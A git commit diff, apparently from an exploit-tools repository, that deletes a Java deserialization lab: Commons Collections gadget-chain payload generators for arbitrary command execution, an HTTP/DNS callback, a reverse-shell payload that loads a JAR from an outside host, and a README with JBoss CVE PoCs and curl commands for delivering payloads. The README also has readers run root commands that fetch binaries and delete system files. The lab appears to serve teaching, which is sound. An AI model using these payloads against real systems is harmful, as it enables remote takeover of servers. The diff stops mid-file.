优化 CVE-2017-12149 利用工具

This commit is contained in:
helloexp 2022-03-01 13:45:56 +08:00
parent 28cbad61ce
commit 691d4479fc
22 changed files with 20 additions and 1483 deletions

View File

@ -1,36 +0,0 @@
import java.io.IOException;
/**
* Classe serializável (implementa serializable) usada no primeiro exemplo
* para destacar os magic methods readObject (invocado automaticamente durante
* a desserializacao de objetos deste tipo) e writeObject (invocado durante a
* serializacao)
*
* -----------------------------------------------------------------------
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
* https://www.h2hc.com.br/revista/
* -----------------------------------------------------------------------
*
* @author @joaomatosf
*/
class Alien implements java.io.Serializable {
String name;
String source;
// magic method invocado automaticamente durante a desserializacao
// de objetos deste tipo
private void readObject(java.io.ObjectInputStream in)
throws IOException, ClassNotFoundException {
in.defaultReadObject();
System.out.println("Deserializing an object of class: "+ getClass().getName());
}
// magic method invocado automaticamente durante a serializacao
// de objetos deste tipo
private void writeObject(java.io.ObjectOutputStream out)
throws IOException {
out.defaultWriteObject();
System.out.println("Serializing an object of class: "+ getClass().getName());
}
}

View File

@ -1,103 +0,0 @@
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;
/**
* Gera payload com gadget chain para realizar um HTTP GET em um endereço
* controlado pelo testador. Se for usado um domínio "hospedado" pelo testador,
* pode-se validar se o payload foi executado ao verificar os logs do servico DNS.
* Note que esse payload requer que a commons-collections vulnerável esteja
* disponível no classpath (<= 3.2.1), bem como a AnnotationInvocationHandler do JRE < 8u72
* outro payload, desenvolvido por Gabriel Lawrence, que permite forçar uma
* consulta DNS usufruindo apenas das classes URL e HashMap (que são serializáves).
*
* -----------------------------------------------------------------------
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
* https://www.h2hc.com.br/revista/
* -----------------------------------------------------------------------
*
* OBS: Esse código tem fins apenas didáticos. Algumas cadeias de
* transformers são baseadas nas versões de Chris Frohoff e/ou Matthias Kaiser
*
**** USAGE ****
*
* Compilando:
* $ javac -cp .:commons-collections-3.2.1.jar DnsWithCommonsCollections.java
*
* Executando
* $ java -cp .:commons-collections-3.2.1.jar DnsWithCommonsCollections http://www.your_domain.com
*
* @author @joaomatosf
*/
public class DnsWithCommonsCollections {
@SuppressWarnings ( {"unchecked"} )
public static void main(String[] args)
throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException {
String url = args[0];
// Cria array de transformers que resulta na seguinte construção:
// new URL(url).openConnection().getInputStream().read();
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(new URL(url)),
new InvokerTransformer("openConnection", new Class[] { }, new Object[] {}),
new InvokerTransformer("getInputStream", new Class[] { }, new Object[] {}),
new InvokerTransformer("read", new Class[] {}, new Object[] {})
};
// Cria o objeto ChainedTransformer com o array de Transformers:
Transformer transformerChain = new ChainedTransformer(transformers);
// Cria o map
Map map = new HashMap();
// Decora o map com o LazyMap e a cadeia de transformações como factory
Map lazyMap = LazyMap.decorate(map,transformerChain);
// Usa reflexão para obter referencia da classe AnnotationInvocationHandler
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// Obtem construtor da AnnotationInvocationHandler que recebe um tipo (class) e um Map
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
// Torna o construtor acessível
ctor.setAccessible(true);
// Obtem/Cria instancia do AnnotationInvocationHandler, fornecendo (via construtor) um Retetion.class (que eh um
// type Annotation, requerido pelo construtor) e atribui o LazyMap (contendo a cadeia de Transformers) ao campo
// memberValues. Assim, ao tentar obter uma chave inexiste deste campo, a cadeia será "executada"!
InvocationHandler handlerLazyMap = (InvocationHandler) ctor.newInstance(Retention.class, lazyMap);
//criado a interface map
Class[] interfaces = new Class[] {java.util.Map.class};
// cria o Proxy "entre" a interface Map e o AnnotationInvocationHandler anterior (que contém o lazymap+transformers)
Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaces, handlerLazyMap);
// cria outro AnnotationInvocationHandler atribui o Proxy ao campo memberValues
// esse Proxy será "acionado" no magic method readObject e, assim, desviará o fluxo para o
// método invoke() do primeiro AnnotationInvocationHandler criado (que contém o LazyMap+Transformers)
InvocationHandler handlerProxy = (InvocationHandler) ctor.newInstance(Retention.class, proxyMap);
// Serializa o objeto "handlerProxy" e o salva em arquivo. Ao ser desserializado,
// o readObject irá executar um map.entrySet() e, assim, desviar o fluxo para o invoke().
// No invoke(), uma chave inexistente será buscada no campo "memberValues" (que contém um LazyMap
// com a cadeia de Transformers), o que deverá acionar o Thread.sleep(10000)!
System.out.println("Saving serialized object in SleepExample.ser");
FileOutputStream fos = new FileOutputStream("SleepExample.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(handlerProxy);
oos.flush();
}
}

View File

@ -1,129 +0,0 @@
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.*;
/**
* Gera payload que leva a execução de código durante a desserialização.
* São usados os gadgets LayzMap, InvokerTransformer, ConstantTransformer e
* ChainedTransformer, da commons-collections e a AnnotationInvocationHandler,
* do JRE, como trigger gadget.
* Note que esse exemplo (que usa a AnnotationInvocationHandler como trigger)
* deverá funcionar em sistemas com JRE < 8u72. Em sistemas com versões superiores,
* deve-se usar outro gadget como trigger, a exemplo do BadAttributeValueExpException
* ou um HashMap + TiedMapEntry, propostos por Matthias Kaiser.
*
* -----------------------------------------------------------------------
* * Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
* * https://www.h2hc.com.br/revista/
* -----------------------------------------------------------------------
*
* OBS: Esse código tem fins apenas didáticos. Algumas cadeias de
* transformers são baseadas nas versões de Chris Frohoff e/ou Matthias Kaiser
*
**** USAGE ****
*
* Compilando:
* $ javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1.java
*
* Executando
* $ java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1 'touch /tmp/h2hc_2017'
*
* @author @joaomatosf
*/
public class ExampleCommonsCollections1 {
@SuppressWarnings ( {"unchecked"} )
public static void main(String[] args)
throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException {
// Verifica se o usuário forneceu o comando a ser executado
if (args.length != 1) {
System.out.println("Invalid params! \n" +
"Example usage: java ExampleCommonsCollections1 \"touch /tmp/test\"");
System.exit(1);
}
// Seleciona o interpretador correto de acordo com o comando a ser executado
//boolean isUnix = System.getProperty("file.separator").equals("/");
boolean isUnix = !args[0].contains("cmd.exe") && !args[0].contains("powershell.exe");
String cmd[];
if (isUnix)
cmd = new String[]{"/bin/bash", "-c", args[0]}; // Comando a ser executado
else
cmd = new String[]{"cmd.exe", "/c", args[0]}; // Comando a ser executado
// Cria array de transformers que resulta na seguinte construção:
//((Runtime)Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object[0])).exec(cmd[]);
Transformer[] transformers = new Transformer[] {
// retorna Class Runtime.class
new ConstantTransformer(Runtime.class),
// 1o. Objeto InvokerTransformer: .getMethod("getRuntime", new Class[0])
new InvokerTransformer(
"getMethod", // invoca método getMethod
( new Class[] {String.class, Class[].class } ),// tipos dos parâmetros: (String, Class[])
( new Object[] {"getRuntime", new Class[0] } ) // parâmetros: (getRuntime, Class[0])
),
// 2o. Objeto InvokerTransformer: .invoke(null, new Object[0])
new InvokerTransformer(
"invoke", // invoca método: invoke
(new Class[] {Object.class, Object[].class }),// tipos dos parâmetros: (Object.class, Object[])
(new Object[] {null, new Object[0] }) // parâmetros: (null, new Object[0])
),
// 3o. Objeto InvokerTransformer: .exec(cmd[])
new InvokerTransformer(
"exec", // invoca método: exec
new Class[] { String[].class }, // tipos dos parâmetros: (String[])
new Object[]{ cmd } ) // parâmetros: (cmd[])
};
// Cria o objeto ChainedTransformer com o array de Transformers:
Transformer transformerChain = new ChainedTransformer(transformers);
// Cria o map
Map map = new HashMap();
// Decora o map com o LazyMap e a cadeia de transformações como factory
Map lazyMap = LazyMap.decorate(map,transformerChain);
// Usa reflexão para obter referencia da classe AnnotationInvocationHandler
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// Obtem construtor da AnnotationInvocationHandler que recebe um tipo (class) e um Map
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
// Torna o construtor acessível
ctor.setAccessible(true);
// Obtem/Cria instancia do AnnotationInvocationHandler, fornecendo (via construtor) um Retetion.class (que eh um
// type Annotation, requerido pelo construtor) e atribui o LazyMap (contendo a cadeia de Transformers) ao campo
// memberValues. Assim, ao tentar obter uma chave inexiste deste campo, a cadeia será "executada"!
InvocationHandler handlerLazyMap = (InvocationHandler) ctor.newInstance(Retention.class, lazyMap);
//cria a interface map
Class[] interfaces = new Class[] {java.util.Map.class};
// cria o Proxy "entre" a interface Map e o AnnotationInvocationHandler anterior (que contém o lazymap+transformers)
Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaces, handlerLazyMap);
// cria outro AnnotationInvocationHandler atribui o Proxy ao campo memberValues
// esse Proxy será "acionado" no magic method readObject e, assim, desviará o fluxo para o
// método invoke() do primeiro AnnotationInvocationHandler criado (que contém o LazyMap+Transformers)
InvocationHandler handlerProxy = (InvocationHandler) ctor.newInstance(Retention.class, proxyMap);
// Serializa o objeto "handlerProxy" e o salva em arquivo. Ao ser desserializado,
// o readObject irá executar um map.entrySet() e, assim, desviar o fluxo para o invoke().
// No invoke(), uma chave inexistente será buscada no campo "memberValues" (que contém um LazyMap
// com a cadeia de Transformers), o que deverá acionar o Thread.sleep(10000)!
System.out.println("Saving serialized object in ExampleCommonsCollections1.ser");
FileOutputStream fos = new FileOutputStream("ExampleCommonsCollections1.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(handlerProxy);
oos.flush();
}
}

View File

@ -1,79 +0,0 @@
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.*;
import java.lang.reflect.InvocationTargetException;
import java.util.*;
/**
* Exemplo que demonstra que um Map decorado com um LazyMap e uma ChainedTransformer
* como factory pode levar a execução de comando (através da invocação a métodos arbitrários
* via Reflexão) caso seja acessada uma chave inexistente no map.
* Esse é um dos princípios usados para executar comandos usufruíndo de gadgets que tentam
* acessar chaves inexistentes em campos (controlados pelos usuários) em seus magic methods.
*
* -----------------------------------------------------------------------
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
* https://www.h2hc.com.br/revista/
* -----------------------------------------------------------------------
*
* OBS: Esse código tem fins apenas didáticos. Algumas cadeias de
* transformers são baseadas nas versões de Chris Frohoff e/ou Matthias Kaiser
*
**** USAGE ****
*
* Compilando:
* $ javac -cp .:commons-collections-3.2.1.jar ExampleTransformersWithLazyMap.java
*
* Executando
* $ rm /tmp/h2hc_lazymap
* $ java -cp .:commons-collections-3.2.1.jar ExampleTransformersWithLazyMap
* $ ls -all /tmp/h2hc_lazymap
*
* @author @joaomatosf
*/
public class ExampleTransformersWithLazyMap {
@SuppressWarnings ( {"unchecked"} )
public static void main(String[] args)
throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
IllegalAccessException, IllegalArgumentException, InvocationTargetException {
String cmd[] = {"/bin/sh", "-c", "touch /tmp/h2hc_lazymap"}; // Comando a ser executado
Transformer[] transformers = new Transformer[] {
// retorna Class Runtime.class
new ConstantTransformer(Runtime.class),
// 1o. Objeto InvokerTransformer: .getMethod("getRuntime", new Class[0])
new InvokerTransformer(
"getMethod", // invoca método getMethod
( new Class[] {String.class, Class[].class } ),// tipos dos parâmetros: (String, Class[])
( new Object[] {"getRuntime", new Class[0] } ) // parâmetros: (getRuntime, Class[0])
),
// 2o. Objeto InvokerTransformer: .invoke(null, new Object[0])
new InvokerTransformer(
"invoke", // invoca método: invoke
(new Class[] {Object.class, Object[].class }),// tipos dos parâmetros: (Object.class, Object[])
(new Object[] {null, new Object[0] }) // parâmetros: (null, new Object[0])
),
// 3o. Objeto InvokerTransformer: .exec(cmd[])
new InvokerTransformer(
"exec", // invoca método: exec
new Class[] { String[].class }, // tipos dos parâmetros: (String[])
new Object[]{ cmd } ) // parâmetros: (cmd[])
};
// Cria o objeto ChainedTransformer com o array de Transformers:
Transformer transformerChain = new ChainedTransformer(transformers);
// Cria o map
Map map = new HashMap();
// Decora o map com o LazyMap e a cadeia de transformações como factory
Map lazyMap = LazyMap.decorate(map,transformerChain);
lazyMap.get("h2hc2"); // Tenta recuperar uma chave inexistente (BUM)
}
}

View File

@ -1,72 +0,0 @@
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Map;
/**
* Exemplo didático de como usar Reflection e Dynamic Proxy para desviar
* o fluxo de execução durante a desserialização.
* Esse código gera um payload para explorar um sistema hipotético que contenha
* as classes ForgottenClass e SomeInvocationHandler no classpatch.
*
* -----------------------------------------------------------------------
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
* https://www.h2hc.com.br/revista/
* -----------------------------------------------------------------------
*
**** USAGE ****
*
* Compilando:
* $ javac -cp .:commons-collections-3.2.1.jar ExploitGadgetExample1.java
*
* Executando
* $ rm /tmp/h2hc_2017
* $ java -cp .:commons-collections-3.2.1.jar ExploitGadgetExample1
* $ ls -all /tmp/h2hc_2017
*
*
* @author @joaomatosf
*/
public class ExploitGadgetExample1{
@SuppressWarnings ( {"unchecked"} )
public static void main(String[] args)
throws NoSuchFieldException, IllegalArgumentException, IllegalAccessException,
IOException, ClassNotFoundException {
// Instancia um SomeInvocationHandler
InvocationHandler handler = new SomeInvocationHandler();
Field fieldHandler = handler.getClass().getDeclaredField("cmd"); //obtem campo "cmd" do SomeInvocationHandler
fieldHandler.setAccessible(true); // torna o campo "cmd" acessível
fieldHandler.set(handler, "touch /tmp/h2hc_2017"); // atribui um valor ao campo "cmd"
// criar interface Map
Class[] interfaceMap = new Class[] {java.util.Map.class};
// Cria Proxy "entre" interfaceMap e o Handler SomeInvocationHandler
Map proxyMap = (Map) Proxy.newProxyInstance(null, interfaceMap, handler);
// Intancia ForgottenClass (que sera' serializado)
ForgottenClass gadget = new ForgottenClass();
Field field = gadget.getClass().getDeclaredField("map"); // obtem campo "map" do ForgottenClass
field.setAccessible(true); // torna o campo "map" acessível
field.set(gadget, proxyMap); // Atribui o Proxy ao campo "map"
// Serializa objeto do ForgottenClass e salva no disco
System.out.println("Serializing ForgottenClass");
FileOutputStream fos = new FileOutputStream("/tmp/object.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(gadget);
oos.flush();
// Desserializa objeto a partir do arquivo, para simular o que devera
// ocorrer quando o objeto for desserializado por uma aplicacao
System.out.println("Deserializing ForgottenClass");
FileInputStream fis = new FileInputStream("/tmp/object.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject(); // <-- Inicia a desserializacao!
} //end main
}

View File

@ -1,46 +0,0 @@
import java.io.IOException;
import java.io.Serializable;
import java.util.Map;
/**
* Um dos gadgets usados no exemplo didático que demonstra como desviar o
* fluxo de execucão durante a desserialização (utilizando Dynamic Proxy).
* Esse gatget invoca um método de um campo (map.entrySet()) e, por isso,
* pode ser usado como trampolim para o método invoke() de classes que implementem
* InvocationHandler. No exemplo da revista, o fluxo será desviado para a classe
* SomeInvocationHandler, que contém um código que se deseja alcançar.
*
* -----------------------------------------------------------------------
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
* https://www.h2hc.com.br/revista/
* -----------------------------------------------------------------------
*
* @author @joaomatosf
*/
public class ForgottenClass implements Serializable {
private Map map;
// magic method executado automaticamente durante a desserializacao
// de objetos deste tipo. Repare que é acessado um método de um camop
// controlado pelos usuários (map.entrySet())
private void readObject(java.io.ObjectInputStream in)
throws IOException, ClassNotFoundException{
in.defaultReadObject();
System.out.println("-------------------------------------------");
System.out.println("The flow is in ForgottenClass.readObject()");
map.entrySet();
}
// outro magic method invocado automaticamente durante a desserialização
private Object readResolve(){
System.out.println("-------------------------------------------");
System.out.println("The flow is in the ForgottenClass.readResolve()");
return null;
}
// método qualquer, que não é invocado durante a desserialização.
private void anotherMethod(){
System.out.println("The flow is in ForgottenClass.anotherMethod()");
}
}

View File

@ -1,21 +0,0 @@
MIT License
Copyright (c) 2017 João F M Figueiredo
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.

View File

@ -1,143 +0,0 @@
# Lab for Java Deserialization Vulnerabilities
This content is related to the paper written for the 12th edition of H2HC magazine.
See full paper in: https://www.h2hc.com.br/revista/
Slides and video of the talk will be available soon.
>Um overview sobre as bases das falhas de desserialização nativa em ambientes Java (JVM)
>An overview of deserialization vulnerabilities in the Java Virtual Machine (JVM)
Content
--
The lab contains code samples that help you understand deserialization vulnerabilities and how gadget chains exploit them.
The goal is to provide a better understanding so that you can develop new payloads and/or better design your environments.
There is also a vulnerable testing application (VulnerableHTTPServer.java), which helps you test your payloads.
Slides
--
[![Alt text](https://image.slidesharecdn.com/h2hc2017joaomatosfjavadeser-171025200215/95/an-overview-of-deserialization-vulnerabilities-in-the-java-virtual-machine-jvm-h2hc-2017-1-638.jpg?cb=1508963584)](https://www.slideshare.net/joaomatosf_/an-overview-of-deserialization-vulnerabilities-in-the-java-virtual-machine-jvm-h2hc-2017)
Examples (PoC's)
------
* PoC CVE-2017-7504 - JBossMQ JMS Invocation Layer (https://access.redhat.com/security/cve/cve-2017-7504)
[![Alt text](https://img.youtube.com/vi/jVMr4eeJ2Po/0.jpg)](https://www.youtube.com/watch?v=jVMr4eeJ2Po)
* PoC CVE-2017-12149 - JBoss 6.X and EAP 5.X (https://access.redhat.com/security/cve/cve-2017-12149)
[![Alt text](https://img.youtube.com/vi/JIWMItSA8l0/0.jpg)](https://www.youtube.com/watch?v=JIWMItSA8l0)
* PoC Exploiting struts2-rest XStream Deserialization with Reverse Shell
[![Alt text](https://img.youtube.com/vi/IrZOlqio0nw/0.jpg)](https://www.youtube.com/watch?v=IrZOlqio0nw)
Lab Usage Examples
--
First of all you need to read the full paper. Then review the sample codes and use the vulnerable testing application to understand how payloads work.
***Getting JDK***
If you dont want to go to the Oracle page and register, you can download the JDK directly from me in: http://www.joaomatosf.com/rnp/?prefix=rnp/java_files/
As **root**, run:
```
# cd /opt
# curl http://www.joaomatosf.com/rnp/java_files/jdk-8u20-linux-x64.tar.gz -o jdk-8u20-linux-x64.tar.gz
# tar zxvf jdk-8u20-linux-x64.tar.gz
# rm -rf /usr/bin/java*
# ln -s /opt/jdk1.8.0_20/bin/j* /usr/bin
# java -version
java version "1.8.0_20"
```
***Getting codes:***
```
$ git clone https://github.com/joaomatosf/JavaDeserH2HC.git
$ cd JavaDeserH2HC
```
***Compiling and executing Vulnerable Web Application:***
```
$ javac VulnerableHTTPServer.java -XDignore.symbol.file
$ java -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer
```
```
* =============================================================== *
* Simple Java HTTP Server for Deserialization Lab v0.01 *
* https://github.com/joaomatosf/JavaDeserH2HC *
* =============================================================== *
You can inject java serialized objects in the following formats:
1) Binary in HTTP POST (ie \xAC\xED). Ex:
$ curl 127.0.0.1:8000 --data-binary @ObjectFile.ser
2) Base64 or Gzip+Base64 via HTTP POST parameters. Ex:
$ curl 127.0.0.1:8000 -d "ViewState=H4sICAeH..."
$ curl 127.0.0.1:8000 -d "ViewState=rO0ABXNy..."
3) Base64 or Gzip+Base64 in cookies. Ex:
$ curl 127.0.0.1:8000 -H "Cookie: JSESSIONID=H4sICAeH..."
$ curl 127.0.0.1:8000 -H "Cookie: JSESSIONID=rO0ABXNy..."
4) Base64 of AES-CBC encrypted with hardcoded Apache Shiro key. Ex:
$ curl 127.0.0.1:8000 -H "Cookie: rememberMe=MTIzNDU2Nzg...
5) XML for XStream RCE vulnerability/serialization. Ex:
$ curl 127.0.0.1:8000 -d @file.xml
OBS: To test gadgets in specific libraries, run with -cp param. Ex:
$ java -cp .:commons-collections-3.2.1.jar VulnerableHTTPServer
==================================================================
JRE Version: 1.8.0_77
[INFO]: Listening on port 8000
```
***Testing payloads***
Compiling example1 that works in applications with commons-collections3.2.1 in the classpath and JRE < 8u72:
```
$ javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1.java
```
Generating payload:
```
$ java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1 'touch /tmp/h2hc_2017'
Saving serialized object in ExampleCommonsCollections1.ser
```
Exploiting vulnerable server:
Sending the payload in binary format via HTTP POST:
```
$ rm -rf /tmp/h2hc_2017
$ curl 127.0.0.1:8000/ --data-binary @ExampleCommonsCollections1.ser
Data deserialized!
$ ls -all /tmp/h2hc_2017
-rw-r--r-- 1 joao joao 0 Sep 13 22:34 /tmp/h2hc_2017
```
Sending the payload in Gzip+Base64 format via HTTP Cookies:
```
$ rm -rf /tmp/h2hc_2017
$ gzip ExampleCommonsCollections1.ser
$ base64 -w0 ExampleCommonsCollections1.ser.gz
$ curl 127.0.0.1:8000/ -H "cookie: JSESSIONID=H4sICMeVuVkAA0V4YW1wbGVDb21tb25zQ29sbGVjdGlvbnMxLnNlcgCVVD1MFEEUfrd3iKDEAxVNiITGqER2kZhIuEKRBCFZlCAS4hU67M3dLuzOrjOz5x0ohY0tBQmxUQut/EmMtYWxMBEl0UZDZ2HURBMtrHVmd+9uAf+44u7tzfu+933vvdn7X6GOUehhPlEpztvY4CoixOWIWy5R+6vhMCm6RhANIZKzMT334seO3cvzdxVQdNjuYGcK0wlk+5hx2KFPoyLSfG7Z2gjyMjqkeNnDHJrDAxuRgjZgI8YyJY9dBYAENMkTVUJUASlR2BP8IVOrykapWyq/P7Da8TI9sKxAQoeEyWF/jDTK1DbIlYUuwTyAcNvp0oKKPGSYWDVcx3EJE7+2BFoydpCn6mi2LHSQD4vXbpbTi0lZrD6PDO7SMofDuqDQQgototBiFNo4RYTlXeqElSn0/aNm3ieSm6kDJrIIzsUIup8vfTk4u5QShrPQZMVORKu7spuT4tMI8jcxcciTic7v747uvaEAlDwxqZQwk/lvM+KJI8JjhJPFheZ+5dFiML4Gq5LBoSU2xjNT04JLyC1SaK7twZhPuOVgqH0211u5FTOYxtRc//RzZu7KSq8CySzUWf20IHq6M7tRig7brBHMTTd3Gjl4rdqznFqkkMmKlFFEkTMudl3QtGR/s+2i/xF9aCmiX1iZvJVmh+xKlxUOjQXMI8MC1BIHhWT3Wt8+XH51vjoZ4NAgMKFKXy57u2QSLUzXoKHW29/u9M5mHp8MoMUgNbgdrQGsTcK8aih4t1hB5/5EGppYM5aAtG0daWK9+6hzD95MfPy8b+5UxUmSQ702ZRGNieutdAnqXdz1DbND446nmT2mcaGn+8gxDilcwkZVVSIoqrHKzgQvkyHETHGR6+pXnz5rvfg6CcogNNouyg0Gl3kYGrhJMTNdO1fyjp8I9V/eKr7SgZOSsNpeUxx7OY5hjomM1hiXEvp+AaGU2MlXBQAA"
Data deserialized!
$ ls -all /tmp/h2hc_2017
-rw-r--r-- 1 joao joao 0 Sep 13 22:47 /tmp/h2hc_2017
```

View File

@ -1,143 +0,0 @@
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.*;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
/**
* Gera payload com gadget chain para carregar e executar uma classe remota
* (hospedada pelo testador). Neste exemplo, é usada a classe JexReverse,
* do componente http://www.joaomatosf.com/rnp/java_files/JexRemoteTools.jar,
* a fim de obter uma reverse shell independente de plataforma (Windows ou *nix).
* Neste exemplo é usado um HashMap como trigger gadget, o qual permite atingir
* o método hashCode de um TiedMapEntry que, por sua vez, aciona o método .get()
* de um LazyMap decorado com a ChainedTransformers.
* Esse trigger (HashMap+TiedMapEntry) foi proposto por Matthias Kaiser.
*
*
* -----------------------------------------------------------------------
* Mais detalhes na 12a edição da H2HC (hackers to hackers) magazine:
* https://www.h2hc.com.br/revista/
* -----------------------------------------------------------------------
*
* OBS: Esse código tem fins apenas didáticos.
*
**** USAGE ****
*
* Compilando:
* $ javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
*
* Executando
* $ java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap SEU_IP:SUA_PORTA
*
* @author @joaomatosf
*/
public class ReverseShellCommonsCollectionsHashMap {
@SuppressWarnings ( {"unchecked"} )
public static void main(String[] args)
throws ClassNotFoundException, NoSuchMethodException, InstantiationException,
IllegalAccessException, IllegalArgumentException, InvocationTargetException, IOException, NoSuchFieldException {
String remoteJar = "http://www.joaomatosf.com/rnp/java_files/JexRemoteTools.jar";
String host = null;
int port = 1331;
// Verifica se o usuário forneceu o comando a ser executado
if (args.length != 1 || args[0].split(":").length != 2 ) {
System.out.println("Invalid params! \n" +
"Example usage: java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap \"REMOTE_IP:PORT\"");
System.exit(1);
}
host = args[0].split(":")[0];
port = Integer.parseInt(args[0].split(":")[1]);
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(URLClassLoader.class),
new InstantiateTransformer(
new Class[]{
URL[].class
},
new Object[]{
new URL[]{new URL(remoteJar)}
}),
new InvokerTransformer("loadClass",
new Class[]{
String.class
},
new Object[]{
"JexReverse"
}),
new InstantiateTransformer(
new Class[]{ String.class, int.class },
new Object[]{ host, port }
)
};
// Cria o objeto ChainedTransformer com o array de Transformers:
Transformer transformerChain = new ChainedTransformer(transformers);
// Cria o map
Map map1 = new HashMap();
// Decora o map com o LazyMap e a cadeia de transformações como factory
Map lazyMap = LazyMap.decorate(map1,transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
f.setAccessible(true);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
f2.setAccessible(true);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node, entry);
// Serializa o objeto
System.out.println("Saving serialized object in ReverseShellCommonsCollectionsHashMap.ser");
FileOutputStream fos = new FileOutputStream("ReverseShellCommonsCollectionsHashMap.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(map);
oos.flush();
}
}

View File

@ -1,105 +0,0 @@
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.*;
/**
* Gera payload com gadget chain para forçar um Sleep na aplicação.
* Note que esse payload requer que a commons-collections vulnerável esteja
* disponível no classpath (<= 3.2.1) e deverá funcionar em sistemas com
* JRE < 8u72. Em versões maiores, deve-se usufruir de outro gadget como trigger
